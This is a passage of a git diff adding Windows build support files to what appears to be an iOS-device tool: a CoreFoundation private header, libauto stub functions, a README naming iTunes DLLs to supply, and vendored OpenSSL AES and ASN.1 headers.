+CF_EXPORT void CFCharacterSetCompact(CFMutableCharacterSetRef theSet); +CF_EXPORT void CFCharacterSetFast(CFMutableCharacterSetRef theSet); + +CF_EXPORT const void *_CFArrayCheckAndGetValueAtIndex(CFArrayRef array, CFIndex idx); +CF_EXPORT void _CFArrayReplaceValues(CFMutableArrayRef array, CFRange range, const void **newValues, CFIndex newCount); + + +/* Enumeration + Call CFStartSearchPathEnumeration() once, then call + CFGetNextSearchPathEnumeration() one or more times with the returned state. + The return value of CFGetNextSearchPathEnumeration() should be used as + the state next time around. + When CFGetNextSearchPathEnumeration() returns 0, you're done. +*/ +typedef CFIndex CFSearchPathEnumerationState; +CF_EXPORT CFSearchPathEnumerationState __CFStartSearchPathEnumeration(CFSearchPathDirectory dir, CFSearchPathDomainMask domainMask); +CF_EXPORT CFSearchPathEnumerationState __CFGetNextSearchPathEnumeration(CFSearchPathEnumerationState state, UInt8 *path, CFIndex pathSize); + +/* For use by NSNumber and CFNumber. + Hashing algorithm for CFNumber: + M = Max CFHashCode (assumed to be unsigned) + For positive integral values: (N * HASHFACTOR) mod M + For negative integral values: ((-N) * HASHFACTOR) mod M + For floating point numbers that are not integral: hash(integral part) + hash(float part * M) + HASHFACTOR is 2654435761, from Knuth's multiplicative method +*/ +#define HASHFACTOR 2654435761U + +CF_INLINE CFHashCode _CFHashInt(long i) { + return ((i > 0) ? (CFHashCode)(i) : (CFHashCode)(-i)) * HASHFACTOR; +} + +CF_INLINE CFHashCode _CFHashDouble(double d) { + double dInt; + if (d < 0) d = -d; + dInt = rint(d); + return (CFHashCode)((HASHFACTOR * (CFHashCode)fmod(dInt, (double)ULONG_MAX)) + ((d - dInt) * ULONG_MAX)); +} + + +/* These four functions are used by NSError in formatting error descriptions. They take NS or CFError as arguments and return a retained CFString or NULL. +*/ +CF_EXPORT CFStringRef _CFErrorCreateLocalizedDescription(CFErrorRef err); +CF_EXPORT CFStringRef _CFErrorCreateLocalizedFailureReason(CFErrorRef err); +CF_EXPORT CFStringRef _CFErrorCreateLocalizedRecoverySuggestion(CFErrorRef err); +CF_EXPORT CFStringRef _CFErrorCreateDebugDescription(CFErrorRef err); + +CF_EXPORT CFURLRef _CFURLAlloc(CFAllocatorRef allocator); +CF_EXPORT void _CFURLInitWithString(CFURLRef url, CFStringRef string, CFURLRef baseURL); +CF_EXPORT void _CFURLInitFSPath(CFURLRef url, CFStringRef path); +CF_EXPORT Boolean _CFStringIsLegalURLString(CFStringRef string); +CF_EXPORT void *__CFURLReservedPtr(CFURLRef url); +CF_EXPORT void __CFURLSetReservedPtr(CFURLRef url, void *ptr); +CF_EXPORT CFStringEncoding _CFURLGetEncoding(CFURLRef url); + +CF_EXPORT Boolean _CFRunLoopFinished(CFRunLoopRef rl, CFStringRef mode); + +CF_EXPORT CFIndex _CFStreamInstanceSize(void); + +#if (DEPLOYMENT_TARGET_MACOSX || 0) + #if !defined(__CFReadTSR) + #include + #define __CFReadTSR() mach_absolute_time() + #endif +#elif defined(__WIN32__) +CF_INLINE UInt64 __CFReadTSR(void) { + LARGE_INTEGER freq; + QueryPerformanceCounter(&freq); + return freq.QuadPart; +} +#endif + +#define CF_HAS_NSOBJECT 1 +#define CF_HAS_NSARRAY 1 +#define CF_HAS_NSMUTABLEARRAY 1 +#define CF_HAS_NSDICTIONARY 1 +#define CF_HAS_NSMUTABLEDICTIONARY 1 +#define CF_HAS_NSSET 1 +#define CF_HAS_NSMUTABLESET 1 +#define CF_HAS_NSBATCH2 1 + +CF_EXTERN_C_END + +#endif /* ! __COREFOUNDATION_FORFOUNDATIONONLY__ */ + diff --git a/winstuff/CoreFoundation/auto_stubs.h b/winstuff/CoreFoundation/auto_stubs.h new file mode 100644 index 0000000..9bea7af --- /dev/null +++ b/winstuff/CoreFoundation/auto_stubs.h @@ -0,0 +1,70 @@ +/* + * Copyright (c) 2008 Apple Inc. All rights reserved. + * + * @APPLE_LICENSE_HEADER_START@ + * + * This file contains Original Code and/or Modifications of Original Code + * as defined in and that are subject to the Apple Public Source License + * Version 2.0 (the 'License'). You may not use this file except in + * compliance with the License. Please obtain a copy of the License at + * http://www.opensource.apple.com/apsl/ and read it before using this + * file. + * + * The Original Code and all software distributed under the License are + * distributed on an 'AS IS' basis, WITHOUT WARRANTY OF ANY KIND, EITHER + * EXPRESS OR IMPLIED, AND APPLE HEREBY DISCLAIMS ALL SUCH WARRANTIES, + * INCLUDING WITHOUT LIMITATION, ANY WARRANTIES OF MERCHANTABILITY, + * FITNESS FOR A PARTICULAR PURPOSE, QUIET ENJOYMENT OR NON-INFRINGEMENT. + * Please see the License for the specific language governing rights and + * limitations under the License. + * + * @APPLE_LICENSE_HEADER_END@ + */ +/* auto_stubs.h + Copyright 2005-2007, Apple Inc. All rights reserved. +*/ + +#if !defined(AUTO_STUBS_H) +#define AUTO_STUBS_H 1 + +#include +#include +#include +#include +#include + +/* Stubs for functions in libauto. */ + +typedef malloc_zone_t auto_zone_t; + +enum { AUTO_TYPE_UNKNOWN = -1, AUTO_UNSCANNED = 1, AUTO_OBJECT = 2, AUTO_MEMORY_SCANNED = 0, AUTO_MEMORY_UNSCANNED = AUTO_UNSCANNED, AUTO_OBJECT_SCANNED = AUTO_OBJECT, AUTO_OBJECT_UNSCANNED = AUTO_OBJECT | AUTO_UNSCANNED }; +typedef unsigned long auto_memory_type_t; + +CF_INLINE void *auto_zone(void) { return 0; } +CF_INLINE void *auto_zone_allocate_object(void *zone, size_t size, auto_memory_type_t type, boolean_t rc, boolean_t clear) { return 0; } +CF_INLINE const void *auto_zone_base_pointer(void *zone, const void *ptr) { return 0; } +CF_INLINE void auto_zone_retain(void *zone, void *ptr) {} +CF_INLINE unsigned int auto_zone_release(void *zone, void *ptr) { return 0; } +CF_INLINE unsigned int auto_zone_retain_count(void *zone, const void *ptr) { return 0; } +CF_INLINE void auto_zone_set_layout_type(void *zone, void *ptr, auto_memory_type_t type) {} +CF_INLINE void auto_zone_write_barrier_range(void *zone, void *address, size_t size) {} +CF_INLINE boolean_t auto_zone_is_finalized(void *zone, const void *ptr) { return 0; } +CF_INLINE size_t auto_zone_size(void *zone, const void *ptr) { return 0; } +CF_INLINE void auto_register_weak_reference(void *zone, const void *referent, void **referrer, uintptr_t *counter, void **listHead, void **listElement) {} +CF_INLINE void auto_unregister_weak_reference(void *zone, const void *referent, void **referrer) {} +CF_INLINE void auto_zone_register_thread(void *zone) {} +CF_INLINE void auto_zone_unregister_thread(void *zone) {} +CF_INLINE boolean_t auto_zone_is_valid_pointer(void *zone, const void *ptr) { return 0; } +CF_INLINE auto_memory_type_t auto_zone_get_layout_type(auto_zone_t *zone, void *ptr) { return AUTO_UNSCANNED; } + +CF_INLINE void objc_collect_if_needed(unsigned long options) {} +CF_INLINE BOOL objc_collecting_enabled(void) { return 0; } +CF_INLINE id objc_allocate_object(Class cls, int extra) { return 0; } +CF_INLINE id objc_assign_strongCast(id val, id *dest) { return (*dest = val); } +CF_INLINE id objc_assign_global(id val, id *dest) { return (*dest = val); } +CF_INLINE id objc_assign_ivar(id val, id dest, unsigned int offset) { id *d = (id *)((char *)dest + offset); return (*d = val); } +CF_INLINE void *objc_memmove_collectable(void *dst, const void *src, size_t size) { return memmove(dst, src, size); } +CF_INLINE BOOL objc_is_finalized(void *ptr) { return 0; } + +#endif /* ! AUTO_STUBS_H */ + diff --git a/winstuff/lib/README b/winstuff/lib/README new file mode 100644 index 0000000..85c3f49 --- /dev/null +++ b/winstuff/lib/README @@ -0,0 +1,3 @@ +Put these files here (from iTunes): + - CoreFoundation.dll + - MobileDevice.dll diff --git a/winstuff/openssl/aes.h b/winstuff/openssl/aes.h new file mode 100644 index 0000000..450f2b4 --- /dev/null +++ b/winstuff/openssl/aes.h @@ -0,0 +1,148 @@ +/* crypto/aes/aes.h -*- mode:C; c-file-style: "eay" -*- */ +/* ==================================================================== + * Copyright (c) 1998-2002 The OpenSSL Project. All rights reserved. + * + * Redistribution and use in source and binary forms, with or without + * modification, are permitted provided that the following conditions + * are met: + * + * 1. Redistributions of source code must retain the above copyright + * notice, this list of conditions and the following disclaimer. + * + * 2. Redistributions in binary form must reproduce the above copyright + * notice, this list of conditions and the following disclaimer in + * the documentation and/or other materials provided with the + * distribution. + * + * 3. All advertising materials mentioning features or use of this + * software must display the following acknowledgment: + * "This product includes software developed by the OpenSSL Project + * for use in the OpenSSL Toolkit. (http://www.openssl.org/)" + * + * 4. The names "OpenSSL Toolkit" and "OpenSSL Project" must not be used to + * endorse or promote products derived from this software without + * prior written permission. For written permission, please contact + * openssl-core@openssl.org. + * + * 5. Products derived from this software may not be called "OpenSSL" + * nor may "OpenSSL" appear in their names without prior written + * permission of the OpenSSL Project. + * + * 6. Redistributions of any form whatsoever must retain the following + * acknowledgment: + * "This product includes software developed by the OpenSSL Project + * for use in the OpenSSL Toolkit (http://www.openssl.org/)" + * + * THIS SOFTWARE IS PROVIDED BY THE OpenSSL PROJECT ``AS IS'' AND ANY + * EXPRESSED OR IMPLIED WARRANTIES, INCLUDING, BUT NOT LIMITED TO, THE + * IMPLIED WARRANTIES OF MERCHANTABILITY AND FITNESS FOR A PARTICULAR + * PURPOSE ARE DISCLAIMED. IN NO EVENT SHALL THE OpenSSL PROJECT OR + * ITS CONTRIBUTORS BE LIABLE FOR ANY DIRECT, INDIRECT, INCIDENTAL, + * SPECIAL, EXEMPLARY, OR CONSEQUENTIAL DAMAGES (INCLUDING, BUT + * NOT LIMITED TO, PROCUREMENT OF SUBSTITUTE GOODS OR SERVICES; + * LOSS OF USE, DATA, OR PROFITS; OR BUSINESS INTERRUPTION) + * HOWEVER CAUSED AND ON ANY THEORY OF LIABILITY, WHETHER IN CONTRACT, + * STRICT LIABILITY, OR TORT (INCLUDING NEGLIGENCE OR OTHERWISE) + * ARISING IN ANY WAY OUT OF THE USE OF THIS SOFTWARE, EVEN IF ADVISED + * OF THE POSSIBILITY OF SUCH DAMAGE. + * ==================================================================== + * + */ + +#ifndef HEADER_AES_H +#define HEADER_AES_H + +#include + +#ifdef OPENSSL_NO_AES +#error AES is disabled. +#endif + +#define AES_ENCRYPT 1 +#define AES_DECRYPT 0 + +/* Because array size can't be a const in C, the following two are macros. + Both sizes are in bytes. */ +#define AES_MAXNR 14 +#define AES_BLOCK_SIZE 16 + +#ifdef OPENSSL_FIPS +#define FIPS_AES_SIZE_T int +#endif + +#ifdef __cplusplus +extern "C" { +#endif + +/* This should be a hidden type, but EVP requires that the size be known */ +struct aes_key_st { +#ifdef AES_LONG + unsigned long rd_key[4 *(AES_MAXNR + 1)]; +#else + unsigned int rd_key[4 *(AES_MAXNR + 1)]; +#endif + int rounds; +}; +typedef struct aes_key_st AES_KEY; + +const char *AES_options(void); + +int AES_set_encrypt_key(const unsigned char *userKey, const int bits, + AES_KEY *key); +int AES_set_decrypt_key(const unsigned char *userKey, const int bits, + AES_KEY *key); + +void AES_encrypt(const unsigned char *in, unsigned char *out, + const AES_KEY *key); +void AES_decrypt(const unsigned char *in, unsigned char *out, + const AES_KEY *key); + +void AES_ecb_encrypt(const unsigned char *in, unsigned char *out, + const AES_KEY *key, const int enc); +void AES_cbc_encrypt(const unsigned char *in, unsigned char *out, + const unsigned long length, const AES_KEY *key, + unsigned char *ivec, const int enc); +void AES_cfb128_encrypt(const unsigned char *in, unsigned char *out, + const unsigned long length, const AES_KEY *key, + unsigned char *ivec, int *num, const int enc); +void AES_cfb1_encrypt(const unsigned char *in, unsigned char *out, + const unsigned long length, const AES_KEY *key, + unsigned char *ivec, int *num, const int enc); +void AES_cfb8_encrypt(const unsigned char *in, unsigned char *out, + const unsigned long length, const AES_KEY *key, + unsigned char *ivec, int *num, const int enc); +void AES_cfbr_encrypt_block(const unsigned char *in,unsigned char *out, + const int nbits,const AES_KEY *key, + unsigned char *ivec,const int enc); +void AES_ofb128_encrypt(const unsigned char *in, unsigned char *out, + const unsigned long length, const AES_KEY *key, + unsigned char *ivec, int *num); +void AES_ctr128_encrypt(const unsigned char *in, unsigned char *out, + const unsigned long length, const AES_KEY *key, + unsigned char ivec[AES_BLOCK_SIZE], + unsigned char ecount_buf[AES_BLOCK_SIZE], + unsigned int *num); + +/* For IGE, see also http://www.links.org/files/openssl-ige.pdf */ +/* NB: the IV is _two_ blocks long */ +void AES_ige_encrypt(const unsigned char *in, unsigned char *out, + const unsigned long length, const AES_KEY *key, + unsigned char *ivec, const int enc); +/* NB: the IV is _four_ blocks long */ +void AES_bi_ige_encrypt(const unsigned char *in, unsigned char *out, + const unsigned long length, const AES_KEY *key, + const AES_KEY *key2, const unsigned char *ivec, + const int enc); + +int AES_wrap_key(AES_KEY *key, const unsigned char *iv, + unsigned char *out, + const unsigned char *in, unsigned int inlen); +int AES_unwrap_key(AES_KEY *key, const unsigned char *iv, + unsigned char *out, + const unsigned char *in, unsigned int inlen); + +#ifdef __cplusplus +} +#endif + +#endif /* !HEADER_AES_H */ diff --git a/winstuff/openssl/asn1.h b/winstuff/openssl/asn1.h new file mode 100644 index 0000000..e338522 --- /dev/null +++ b/winstuff/openssl/asn1.h @@ -0,0 +1,1329 @@ +/* crypto/asn1/asn1.h */ +/* Copyright (C) 1995-1998 Eric Young (eay@cryptsoft.com) + * All rights reserved. + * + * This package is an SSL implementation written + * by Eric Young (eay@cryptsoft.com). + * The implementation was written so as to conform with Netscapes SSL. + * + * This library is free for commercial and non-commercial use as long as + * the following conditions are aheared to. The following conditions + * apply to all code found in this distribution, be it the RC4, RSA, + * lhash, DES, etc., code; not just the SSL code. The SSL documentation + * included with this distribution is covered by the same copyright terms + * except that the holder is Tim Hudson (tjh@cryptsoft.com). + * + * Copyright remains Eric Young's, and as such any Copyright notices in + * the code are not to be removed. + * If this package is used in a product, Eric Young should be given attribution + * as the author of the parts of the library used. + * This can be in the form of a textual message at program startup or + * in documentation (online or textual) provided with the package. + * + * Redistribution and use in source and binary forms, with or without + * modification, are permitted provided that the following conditions + * are met: + * 1. Redistributions of source code must retain the copyright + * notice, this list of conditions and the following disclaimer. + * 2. Redistributions in binary form must reproduce the above copyright + * notice, this list of conditions and the following disclaimer in the + * documentation and/or other materials provided with the distribution. + * 3. All advertising materials mentioning features or use of this software + * must display the following acknowledgement: + * "This product includes cryptographic software written by + * Eric Young (eay@cryptsoft.com)" + * The word 'cryptographic' can be left out if the rouines from the library + * being used are not cryptographic related :-). + * 4. If you include any Windows specific code (or a derivative thereof) from + * the apps directory (application code) you must include an acknowledgement: + * "This product includes software written by Tim Hudson (tjh@cryptsoft.com)" + * + * THIS SOFTWARE IS PROVIDED BY ERIC YOUNG ``AS IS'' AND + * ANY EXPRESS OR IMPLIED WARRANTIES, INCLUDING, BUT NOT LIMITED TO, THE + * IMPLIED WARRANTIES OF MERCHANTABILITY AND FITNESS FOR A PARTICULAR PURPOSE + * ARE DISCLAIMED. IN NO EVENT SHALL THE AUTHOR OR CONTRIBUTORS BE LIABLE + * FOR ANY DIRECT, INDIRECT, INCIDENTAL, SPECIAL, EXEMPLARY, OR CONSEQUENTIAL + * DAMAGES (INCLUDING, BUT NOT LIMITED TO, PROCUREMENT OF SUBSTITUTE GOODS + * OR SERVICES; LOSS OF USE, DATA, OR PROFITS; OR BUSINESS INTERRUPTION) + * HOWEVER CAUSED AND ON ANY THEORY OF LIABILITY, WHETHER IN CONTRACT, STRICT + * LIABILITY, OR TORT (INCLUDING NEGLIGENCE OR OTHERWISE) ARISING IN ANY WAY + * OUT OF THE USE OF THIS SOFTWARE, EVEN IF ADVISED OF THE POSSIBILITY OF + * SUCH DAMAGE. + * + * The licence and distribution terms for any publically available version or + * derivative of this code cannot be changed. i.e. this code cannot simply be + * copied and put under another distribution licence + * [including the GNU Public Licence.] + */ + +#ifndef HEADER_ASN1_H +#define HEADER_ASN1_H + +#include +#include +#ifndef OPENSSL_NO_BIO +#include +#endif +#include +#include + +#include + +#include +#ifndef OPENSSL_NO_DEPRECATED +#include +#endif + +#ifdef OPENSSL_BUILD_SHLIBCRYPTO +# undef OPENSSL_EXTERN +# define OPENSSL_EXTERN OPENSSL_EXPORT +#endif + +#ifdef __cplusplus +extern "C" { +#endif + +#define V_ASN1_UNIVERSAL 0x00 +#define V_ASN1_APPLICATION 0x40 +#define V_ASN1_CONTEXT_SPECIFIC 0x80 +#define V_ASN1_PRIVATE 0xc0 + +#define V_ASN1_CONSTRUCTED 0x20 +#define V_ASN1_PRIMITIVE_TAG 0x1f +#define V_ASN1_PRIMATIVE_TAG 0x1f + +#define V_ASN1_APP_CHOOSE -2 /* let the recipient choose */ +#define V_ASN1_OTHER -3 /* used in ASN1_TYPE */ +#define V_ASN1_ANY -4 /* used in ASN1 template code */ + +#define V_ASN1_NEG 0x100 /* negative flag */ + +#define V_ASN1_UNDEF -1 +#define V_ASN1_EOC 0 +#define V_ASN1_BOOLEAN 1 /**/ +#define V_ASN1_INTEGER 2 +#define V_ASN1_NEG_INTEGER (2 | V_ASN1_NEG) +#define V_ASN1_BIT_STRING 3 +#define V_ASN1_OCTET_STRING 4 +#define V_ASN1_NULL 5 +#define V_ASN1_OBJECT 6 +#define V_ASN1_OBJECT_DESCRIPTOR 7 +#define V_ASN1_EXTERNAL 8 +#define V_ASN1_REAL 9 +#define V_ASN1_ENUMERATED 10 +#define V_ASN1_NEG_ENUMERATED (10 | V_ASN1_NEG) +#define V_ASN1_UTF8STRING 12 +#define V_ASN1_SEQUENCE 16 +#define V_ASN1_SET 17 +#define V_ASN1_NUMERICSTRING 18 /**/ +#define V_ASN1_PRINTABLESTRING 19 +#define V_ASN1_T61STRING 20 +#define V_ASN1_TELETEXSTRING 20 /* alias */ +#define V_ASN1_VIDEOTEXSTRING 21 /**/ +#define V_ASN1_IA5STRING 22 +#define V_ASN1_UTCTIME 23 +#define V_ASN1_GENERALIZEDTIME 24 /**/ +#define V_ASN1_GRAPHICSTRING 25 /**/ +#define V_ASN1_ISO64STRING 26 /**/ +#define V_ASN1_VISIBLESTRING 26 /* alias */ +#define V_ASN1_GENERALSTRING 27 /**/ +#define V_ASN1_UNIVERSALSTRING 28 /**/ +#define V_ASN1_BMPSTRING 30 + +/* For use with d2i_ASN1_type_bytes() */ +#define B_ASN1_NUMERICSTRING 0x0001 +#define B_ASN1_PRINTABLESTRING 0x0002 +#define B_ASN1_T61STRING 0x0004 +#define B_ASN1_TELETEXSTRING 0x0004 +#define B_ASN1_VIDEOTEXSTRING 0x0008 +#define B_ASN1_IA5STRING 0x0010 +#define B_ASN1_GRAPHICSTRING 0x0020 +#define B_ASN1_ISO64STRING 0x0040 +#define B_ASN1_VISIBLESTRING 0x0040 +#define B_ASN1_GENERALSTRING 0x0080 +#define B_ASN1_UNIVERSALSTRING 0x0100 +#define B_ASN1_OCTET_STRING 0x0200 +#define B_ASN1_BIT_STRING 0x0400 +#define B_ASN1_BMPSTRING 0x0800 +#define B_ASN1_UNKNOWN 0x1000 +#define B_ASN1_UTF8STRING 0x2000 +#define B_ASN1_UTCTIME 0x4000 +#define B_ASN1_GENERALIZEDTIME 0x8000 +#define B_ASN1_SEQUENCE 0x10000 + +/* For use with ASN1_mbstring_copy() */ +#define MBSTRING_FLAG 0x1000 +#define MBSTRING_UTF8 (MBSTRING_FLAG) +#define MBSTRING_ASC (MBSTRING_FLAG|1) +#define MBSTRING_BMP (MBSTRING_FLAG|2) +#define MBSTRING_UNIV (MBSTRING_FLAG|4) + +#define SMIME_OLDMIME 0x400 +#define SMIME_CRLFEOL 0x800 +#define SMIME_STREAM 0x1000 + +struct X509_algor_st; +DECLARE_STACK_OF(X509_ALGOR) + +#define DECLARE_ASN1_SET_OF(type) /* filled in by mkstack.pl */ +#define IMPLEMENT_ASN1_SET_OF(type) /* nothing, no longer needed */ + +/* We MUST make sure that, except for constness, asn1_ctx_st and + asn1_const_ctx are exactly the same. Fortunately, as soon as + the old ASN1 parsing macros are gone, we can throw this away + as well... */ +typedef struct asn1_ctx_st + { + unsigned char *p;/* work char pointer */ + int eos; /* end of sequence read for indefinite encoding */ + int error; /* error code to use when returning an error */ + int inf; /* constructed if 0x20, indefinite is 0x21 */ + int tag; /* tag from last 'get object' */ + int xclass; /* class from last 'get object' */ + long slen; /* length of last 'get object' */ + unsigned char *max; /* largest value of p allowed */ + unsigned char *q;/* temporary variable */ + unsigned char **pp;/* variable */ + int line; /* used in error processing */ + } ASN1_CTX; + +typedef struct asn1_const_ctx_st + { + const unsigned char *p;/* work char pointer */ + int eos; /* end of sequence read for indefinite encoding */ + int error; /* error code to use when returning an error */ + int inf; /* constructed if 0x20, indefinite is 0x21 */ + int tag; /* tag from last 'get object' */ + int xclass; /* class from last 'get object' */ + long slen; /* length of last 'get object' */ + const unsigned char *max; /* largest value of p allowed */ + const unsigned char *q;/* temporary variable */ + const unsigned char **pp;/* variable */ + int line; /* used in error processing */ + } ASN1_const_CTX; + +/* These are used internally in the ASN1_OBJECT to keep track of + * whether the names and data need to be free()ed */ +#define ASN1_OBJECT_FLAG_DYNAMIC 0x01 /* internal use */ +#define ASN1_OBJECT_FLAG_CRITICAL 0x02 /* critical x509v3 object id */ +#define ASN1_OBJECT_FLAG_DYNAMIC_STRINGS 0x04 /* internal use */ +#define ASN1_OBJECT_FLAG_DYNAMIC_DATA 0x08 /* internal use */ +typedef struct asn1_object_st + { + const char *sn,*ln; + int nid; + int length; + unsigned char *data; + int flags; /* Should we free this one */ + } ASN1_OBJECT; + +#define ASN1_STRING_FLAG_BITS_LEFT 0x08 /* Set if 0x07 has bits left value */ +/* This indicates that the ASN1_STRING is not a real value but just a place + * holder for the location where indefinite length constructed data should + * be inserted in the memory buffer + */ +#define ASN1_STRING_FLAG_NDEF 0x010 + +/* This flag is used by the CMS code to indicate that a string is not + * complete and is a place holder for content when it had all been + * accessed. The flag will be reset when content has been written to it. + */ +#define ASN1_STRING_FLAG_CONT 0x020 + +/* This is the base type that holds just about everything :-) */ +typedef struct asn1_string_st + { + int length; + int type; + unsigned char *data; + /* The value of the following field depends on the type being + * held. It is mostly being used for BIT_STRING so if the + * input data has a non-zero 'unused bits' value, it will be + * handled correctly */ + long flags; + } ASN1_STRING; + +/* ASN1_ENCODING structure: this is used to save the received + * encoding of an ASN1 type. This is useful to get round + * problems with invalid encodings which can break signatures. + */ + +typedef struct ASN1_ENCODING_st + { + unsigned char *enc; /* DER encoding */ + long len; /* Length of encoding */ + int modified; /* set to 1 if 'enc' is invalid */ + } ASN1_ENCODING; + +/* Used with ASN1 LONG type: if a long is set to this it is omitted */ +#define ASN1_LONG_UNDEF 0x7fffffffL + +#define STABLE_FLAGS_MALLOC 0x01 +#define STABLE_NO_MASK 0x02 +#define DIRSTRING_TYPE \ + (B_ASN1_PRINTABLESTRING|B_ASN1_T61STRING|B_ASN1_BMPSTRING|B_ASN1_UTF8STRING) +#define PKCS9STRING_TYPE (DIRSTRING_TYPE|B_ASN1_IA5STRING) + +typedef struct asn1_string_table_st { + int nid; + long minsize; + long maxsize; + unsigned long mask; + unsigned long flags; +} ASN1_STRING_TABLE; + +DECLARE_STACK_OF(ASN1_STRING_TABLE) + +/* size limits: this stuff is taken straight from RFC2459 */ + +#define ub_name 32768 +#define ub_common_name 64 +#define ub_locality_name 128 +#define ub_state_name 128 +#define ub_organization_name 64 +#define ub_organization_unit_name 64 +#define ub_title 64 +#define ub_email_address 128 + +/* Declarations for template structures: for full definitions + * see asn1t.h + */ +typedef struct ASN1_TEMPLATE_st ASN1_TEMPLATE; +typedef struct ASN1_ITEM_st ASN1_ITEM; +typedef struct ASN1_TLC_st ASN1_TLC; +/* This is just an opaque pointer */ +typedef struct ASN1_VALUE_st ASN1_VALUE; + +/* Declare ASN1 functions: the implement macro in in asn1t.h */ + +#define DECLARE_ASN1_FUNCTIONS(type) DECLARE_ASN1_FUNCTIONS_name(type, type) + +#define DECLARE_ASN1_ALLOC_FUNCTIONS(type) \ + DECLARE_ASN1_ALLOC_FUNCTIONS_name(type, type) + +#define DECLARE_ASN1_FUNCTIONS_name(type, name) \ + DECLARE_ASN1_ALLOC_FUNCTIONS_name(type, name) \ + DECLARE_ASN1_ENCODE_FUNCTIONS(type, name, name) + +#define DECLARE_ASN1_FUNCTIONS_fname(type, itname, name) \ + DECLARE_ASN1_ALLOC_FUNCTIONS_name(type, name) \ + DECLARE_ASN1_ENCODE_FUNCTIONS(type, itname, name) + +#define DECLARE_ASN1_ENCODE_FUNCTIONS(type, itname, name) \ + type *d2i_##name(type **a, const unsigned char **in, long len); \ + int i2d_##name(type *a, unsigned char **out); \ + DECLARE_ASN1_ITEM(itname) + +#define DECLARE_ASN1_ENCODE_FUNCTIONS_const(type, name) \ + type *d2i_##name(type **a, const unsigned char **in, long len); \ + int i2d_##name(const type *a, unsigned char **out); \ + DECLARE_ASN1_ITEM(name) + +#define DECLARE_ASN1_NDEF_FUNCTION(name) \ + int i2d_##name##_NDEF(name *a, unsigned char **out); + +#define DECLARE_ASN1_FUNCTIONS_const(name) \ + DECLARE_ASN1_ALLOC_FUNCTIONS(name) \ + DECLARE_ASN1_ENCODE_FUNCTIONS_const(name, name) + +#define DECLARE_ASN1_ALLOC_FUNCTIONS_name(type, name) \ + type *name##_new(void); \ + void name##_free(type *a); + +#define D2I_OF(type) type *(*)(type **,const unsigned char **,long) +#define I2D_OF(type) int (*)(type *,unsigned char **) +#define I2D_OF_const(type) int (*)(const type *,unsigned char **) + +#define CHECKED_D2I_OF(type, d2i) \ + ((d2i_of_void*) (1 ? d2i : ((D2I_OF(type))0))) +#define CHECKED_I2D_OF(type, i2d) \ + ((i2d_of_void*) (1 ? i2d : ((I2D_OF(type))0))) +#define CHECKED_NEW_OF(type, xnew) \ + ((void *(*)(void)) (1 ? xnew : ((type *(*)(void))0))) +#define CHECKED_PTR_OF(type, p) \ + ((void*) (1 ? p : (type*)0)) +#define CHECKED_PPTR_OF(type, p) \ + ((void**) (1 ? p : (type**)0)) + +#define TYPEDEF_D2I_OF(type) typedef type *d2i_of_##type(type **,const unsigned char **,long) +#define TYPEDEF_I2D_OF(type) typedef int i2d_of_##type(type *,unsigned char **) +#define TYPEDEF_D2I2D_OF(type) TYPEDEF_D2I_OF(type); TYPEDEF_I2D_OF(type) + +TYPEDEF_D2I2D_OF(void); + +/* The following macros and typedefs allow an ASN1_ITEM + * to be embedded in a structure and referenced. Since + * the ASN1_ITEM pointers need to be globally accessible + * (possibly from shared libraries) they may exist in + * different forms. On platforms that support it the + * ASN1_ITEM structure itself will be globally exported. + * Other platforms will export a function that returns + * an ASN1_ITEM pointer. + * + * To handle both cases transparently the macros below + * should be used instead of hard coding an ASN1_ITEM + * pointer in a structure. + * + * The structure will look like this: + * + * typedef struct SOMETHING_st { + * ... + * ASN1_ITEM_EXP *iptr; + * ... + * } SOMETHING; + * + * It would be initialised as e.g.: + * + * SOMETHING somevar = {...,ASN1_ITEM_ref(X509),...}; + * + * and the actual pointer extracted with: + * + * const ASN1_ITEM *it = ASN1_ITEM_ptr(somevar.iptr); + * + * Finally an ASN1_ITEM pointer can be extracted from an + * appropriate reference with: ASN1_ITEM_rptr(X509). This + * would be used when a function takes an ASN1_ITEM * argument. + * + */ + +#ifndef OPENSSL_EXPORT_VAR_AS_FUNCTION + +/* ASN1_ITEM pointer exported type */ +typedef const ASN1_ITEM ASN1_ITEM_EXP; + +/* Macro to obtain ASN1_ITEM pointer from exported type */ +#define ASN1_ITEM_ptr(iptr) (iptr) + +/* Macro to include ASN1_ITEM pointer from base type */ +#define ASN1_ITEM_ref(iptr) (&(iptr##_it)) + +#define ASN1_ITEM_rptr(ref) (&(ref##_it)) + +#define DECLARE_ASN1_ITEM(name) \ + OPENSSL_EXTERN const ASN1_ITEM name##_it; + +#else + +/* Platforms that can't easily handle shared global variables are declared + * as functions returning ASN1_ITEM pointers. + */ + +/* ASN1_ITEM pointer exported type */ +typedef const ASN1_ITEM * ASN1_ITEM_EXP(void); + +/* Macro to obtain ASN1_ITEM pointer from exported type */ +#define ASN1_ITEM_ptr(iptr) (iptr()) + +/* Macro to include ASN1_ITEM pointer from base type */ +#define ASN1_ITEM_ref(iptr) (iptr##_it) + +#define ASN1_ITEM_rptr(ref) (ref##_it()) + +#define DECLARE_ASN1_ITEM(name) \ + const ASN1_ITEM * name##_it(void); + +#endif + +/* Parameters used by ASN1_STRING_print_ex() */ + +/* These determine which characters to escape: + * RFC2253 special characters, control characters and + * MSB set characters + */ + +#define ASN1_STRFLGS_ESC_2253 1 +#define ASN1_STRFLGS_ESC_CTRL 2 +#define ASN1_STRFLGS_ESC_MSB 4 + + +/* This flag determines how we do escaping: normally + * RC2253 backslash only, set this to use backslash and + * quote. + */ + +#define ASN1_STRFLGS_ESC_QUOTE 8 + + +/* These three flags are internal use only. */ + +/* Character is a valid PrintableString character */ +#define CHARTYPE_PRINTABLESTRING 0x10 +/* Character needs escaping if it is the first character */ +#define CHARTYPE_FIRST_ESC_2253 0x20 +/* Character needs escaping if it is the last character */ +#define CHARTYPE_LAST_ESC_2253 0x40 + +/* NB the internal flags are safely reused below by flags + * handled at the top level. + */ + +/* If this is set we convert all character strings + * to UTF8 first + */ + +#define ASN1_STRFLGS_UTF8_CONVERT 0x10 + +/* If this is set we don't attempt to interpret content: + * just assume all strings are 1 byte per character. This + * will produce some pretty odd looking output! + */ + +#define ASN1_STRFLGS_IGNORE_TYPE 0x20 + +/* If this is set we include the string type in the output */ +#define ASN1_STRFLGS_SHOW_TYPE 0x40 + +/* This determines which strings to display and which to + * 'dump' (hex dump of content octets or DER encoding). We can + * only dump non character strings or everything. If we + * don't dump 'unknown' they are interpreted as character + * strings with 1 octet per character and are subject to + * the usual escaping options. + */ + +#define ASN1_STRFLGS_DUMP_ALL 0x80 +#define ASN1_STRFLGS_DUMP_UNKNOWN 0x100 